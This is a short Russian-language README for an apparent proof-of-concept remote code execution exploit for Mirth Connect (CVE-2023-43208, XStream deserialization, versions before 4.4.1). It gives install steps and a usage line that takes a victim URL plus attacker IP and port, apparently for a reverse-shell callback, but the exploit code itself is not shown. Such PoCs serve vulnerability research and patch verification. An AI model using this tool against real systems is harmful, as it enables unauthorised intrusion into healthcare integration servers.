Mirth Connect RCE Exploit (CVE-2023-43208)

Этот скрипт является доказательством концепции (PoC) для уязвимости удалённого выполнения кода (RCE) в Mirth Connect (версии до 4.4.1). Он эксплуатирует уязвимость десериализации XStream через API.

Требования

• Python 3.10 или выше (совместимо с 3.13).
• Сетевая доступность до цели.

Использование инструмента

python3 CVE-2023-43208.py -u [https://IP-victima] -lh [IP-atacante] -lp [puerto]

Установка

Рекомендуется использование виртуального окружения:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

#Запуск payload

python3 payload.py